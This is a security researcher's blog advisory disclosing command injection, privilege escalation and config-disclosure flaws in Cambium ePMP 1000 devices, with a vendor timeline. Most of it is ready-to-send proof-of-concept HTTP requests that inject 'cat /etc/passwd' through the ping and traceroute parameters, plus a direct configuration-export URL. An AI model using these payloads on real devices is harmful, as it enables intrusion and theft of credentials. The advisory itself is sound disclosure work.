Sunday, November 29, 2015

Cambium ePMP 1000 - Multiple vulnerabilities

July 14, 2015: First contacted Cambium
July 14, 2015: Initial vendor response
July 16, 2015: Vuln Details reported to Cambium
July 31, 2015: Followup on advisory and fix timelines
August 03, 2015: Vendor gives mid-Aug as fix (v2.5) release timeline. Ceases communication.
Nov 19, 2015: Releasing vulnerability details & poc
Versions affected: < v2.5
Exploit-db: https://www.exploit-db.com/exploits/38776/
PacketStorm: https://packetstormsecurity.com/files/134483/cambiumepmp1000-exec.txt

.....
CVE-IDs - To be assigned.
.....
Background
http://www.cambiumnetworks.com/products/access/epmp-1000/

ePMP™ 1000
Wireless service providers and enterprises need reliable, high-quality
broadband connectivity that can be rapidly deployed and expanded. The
ePMP platform provides stable coverage across large service areas and
enhances your existing infrastructure.

Deployed by:

ION Telecom
Kayse Wireless
Vanilla Telecom
Traeger Park
EszakNet
Edera
Videon
COMeSER
Seattle, WA
Budapest Video Surveillance
Desktop
Silo Wireless
Rocket Broadband
Snavely Forest Products
KRK Sistemi
KAJA Komputer
Root Media

Vulnerability Details

From Cambium Networks ePMP 1000 user / configuration guide:
ePMP 1000 has four (4) users -
- ADMINISTRATOR, who has full read and write permissions.
- INSTALLER, who has permissions to read and write parameters
applicable to unit installation and monitoring.
- HOME, who has permissions only to access pertinent information for
support purposes
- READONLY, who only has permissions to view the Monitor page.

.....

1. OS Command Injection

'admin' and 'installer' users have access to perform Ping and
Traceroute functions via GUI. No other user has this access.

Ping function accepts destination IP address value via 'ping_ip
parameter and uses three (3) other parameters - packets_num, buf_size
and ttl, to perform Ping.

Traceroute function accepts destination IP address via 'traceroute_ip'
parameter.

The application does not perform strict input validation for all these
parameters - ping_ip', packets_num, buf_size and ttl for Ping
function; and traceroute_ip for Traceroute function.

This allows an authenticated user - 'admin' or non-admin,
low-privileged 'installer' & ‘home’ users - to be able to inject
arbitrary system commands that gets executed by the host.

.....
PING PoC
.....
HTTP Request
.....
POST /cgi-bin/luci/;stok=<stok_value>/admin/ping HTTP/1.1
Host: <IP_address>
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:38.0)
Gecko/20100101 Firefox/38.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://<IP_address>/
Cookie: sysauth=<sysauth_value>;
globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22installer%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D;
userType=Installer; usernameType=installer; stok=<stok_value>
DNT: 1
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

ping_ip=8.8.8.8|cat%20/etc/passwd%20||&packets_num=1&buf_size=1&ttl=1&debug=0
[
or

ping_ip=8.8.8.8&packets_num=1|cat%20/etc/passwd%20||&buf_size=1&ttl=1&debug=0
or

ping_ip=8.8.8.8&packets_num=1&buf_size=1|cat%20/etc/passwd%20||&ttl=1&debug=0
or

ping_ip=8.8.8.8&packets_num=1&buf_size=1&ttl=1|cat%20/etc/passwd%20||&debug=0
]

.....
HTTP Response
.....

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, max-age=0, must-revalidate,
post-check=0, pre-check=0
Cache-Control: no-cache
Status: 200 OK
Content-Type: text/plain
Expires: 0
Date: Sun, 18 Jan 1970 14:45:37 GMT
Server: Cambium HTTP Server

daemon:*:1:1:daemon:/var:/bin/false
ftp:*:55:55:ftp:/home/ftp:/bin/false
network:*:101:101:network:/var:/bin/false
admin:<password_hash>:1000:4:admin:/tmp:/usr/bin/clish
installer:<password_hash>:2000:100:installer:/tmp:/bin/false
home:<password_hash>:3000:100:home:/tmp:/bin/false
readonly:<password_hash>:4000:100:readonly:/tmp:/bin/false
dashboard:<password_hash>:5000:100:dashboard:/tmp:/bin/false
nobody:*:65534:65534:nobody:/var:/bin/false
root:<password_hash>:0:0:root:/root:/bin/ash

.....
traceroute - PoC
.....
HTTP Request
.....

POST /cgi-bin/luci/;stok=<stok_value>/admin/traceroute HTTP/1.1
Host: <IP_address>
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:38.0)
Gecko/20100101 Firefox/38.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://<IP_address>/
Cookie: sysauth=<sysauth_value>;
globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22installer%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D;
userType=Installer; usernameType=installer; stok=<stok_value>
DNT: 1
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
traceroute_ip=8.8.8.8|cat%20/etc/passwd%20||&fragm=0&trace_method=icmp_echo&display_ttl=0&verbose=0&debug=0

.....
HTTP Response
.....

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, max-age=0, must-revalidate,
post-check=0, pre-check=0
Cache-Control: no-cache
Status: 200 OK
Content-Type: text/plain
Expires: 0
Date: Sun, 18 Jan 1970 16:09:26 GMT
Server: Cambium HTTP Server
daemon:*:1:1:daemon:/var:/bin/false
ftp:*:55:55:ftp:/home/ftp:/bin/false
network:*:101:101:network:/var:/bin/false
admin:<password_hash>:1000:4:admin:/tmp:/usr/bin/clish
installer:<password_hash>:2000:100:installer:/tmp:/bin/false
home:<password_hash>:3000:100:home:/tmp:/bin/false
readonly:<password_hash>:4000:100:readonly:/tmp:/bin/false
dashboard:<password_hash>:5000:100:dashboard:/tmp:/bin/false
nobody:*:65534:65534:nobody:/var:/bin/false
root:<password_hash>:0:0:root:/root:/bin/ash
.....
2. Weak Authorization Controls + privilege escalation
'home' and 'readonly' users do not have access to Ping and Traceroute
functions via management portal. However, the application lacks strict
authorization controls, and we can still perform both these functions
by sending corresponding HTTP(S) requests directly, when logged in as
low-privileged, 'home' user.
When we combine this flaw with above described OS Command Injection
affecting ping and traceroute, it is possible for non-admin,
low-privileged, ‘home’ user to execute system level commands via
'ping' and 'traceroute' functions and dump password hashes easily and
/ or perform any system level functions.

Note: ‘readonly’ user cannot perform this. Only ‘home’ user can
exploit these.
.....
Steps to attack -
a login as home user
b craft & send HTTP request for ping and traceroute functions
.....
Login - HTTP Request
..
POST /cgi-bin/luci HTTP/1.1
Host: <IP_address>
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:38.0)
Gecko/20100101 Firefox/38.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://<IP_address>/
Cookie: sysauth=<sysauth_value>;
globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22installer%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D
DNT: 1
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
username=home&password=<password>

.....
Login - HTTP Response
..

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, max-age=0, must-revalidate,
post-check=0, pre-check=0
Cache-Control: no-cache
Status: 200 OK
Set-Cookie: sysauth=<home-sysauth_value>;
path=/cgi-bin/luci/;stok=<home-stok-value>
Content-Type: application/json
Expires: 0
Date: Sun, 18 Jan 1970 16:40:50 GMT
Server: Cambium HTTP Server
{ "stok": <home-stok_value>", "certif_dir": "/tmp/new_certificates/",
"status_url": "/cgi-bin/luci/;stok=<home-stok_value>/admin/status }

.....
Sending HTTP request for Ping function
.....
HTTP Request
.....
POST /cgi-bin/luci/;stok=<home-stok_value>/admin/ping HTTP/1.1
Host: <IP_address>
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:38.0)
Gecko/20100101 Firefox/38.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://<IP_address>/
Cookie: sysauth=<home-sysauth_value>;
globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22installer%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D;
userType=Home User; usernameType=home; stok=<home-stok_value>
DNT: 1
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

ping_ip=8.8.8.8|cat%20/etc/passwd%20||&packets_num=1&buf_size=1&ttl=1&debug=0

.....
HTTP Response
.....

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, max-age=0, must-revalidate,
post-check=0, pre-check=0
Cache-Control: no-cache
Status: 200 OK
Content-Type: text/plain
Expires: 0
Date: Sun, 18 Jan 1970 14:45:37 GMT
Server: Cambium HTTP Server

daemon:*:1:1:daemon:/var:/bin/false
ftp:*:55:55:ftp:/home/ftp:/bin/false
network:*:101:101:network:/var:/bin/false
admin:<password_hash>:1000:4:admin:/tmp:/usr/bin/clish
installer:<password_hash>:2000:100:installer:/tmp:/bin/false
home:<password_hash>:3000:100:home:/tmp:/bin/false
readonly:<password_hash>:4000:100:readonly:/tmp:/bin/false
dashboard:<password_hash>:5000:100:dashboard:/tmp:/bin/false
nobody:*:65534:65534:nobody:/var:/bin/false
root:<password_hash>:0:0:root:/root:/bin/ash

.....
Similarly, Traceroute function can be exploited.
............................................................................

3. Weak Authorization Controls + Information Disclosure

In addition to 'admin', only 'installer' user has the option to access
device configuration. ‘home’ user does not have GUI option and should
not be able to access / download device configuration. However, the
application lacks strict authorization measures and the low-privileged
'home' user can gain unauthorized access to the device configuration
simply by requesting it.

Configuration backup export can be performed by directly accessing
the following url:
http://<IP_address>/cgi-bin/luci/;stok=<homeuser-stok_value>/admin/config_export?opts=json

Upon a successful config export, full device configuration withclear-text passwords, usernames, keys, IP addresses, statistics, logs etc is downloaded.
HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, max-age=0, must-revalidate,
post-check=0, pre-check=0
Cache-Control: no-cache
Status: 200 OK
Content-Type: application/json
Content-Disposition: attachment; filename=<filename>.json
Expires: 0
Date: Sun, 18 Jan 1970 16:50:21 GMT
Server: Cambium HTTP Server
{
"template_props":
{
"templateName":"",
"templateDescription":"",
"device_type":"",
<output - snipped>
}

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The views, information & opinions expressed in this blog are my own and do not reflect the views of my current or former employers or employees or colleagues.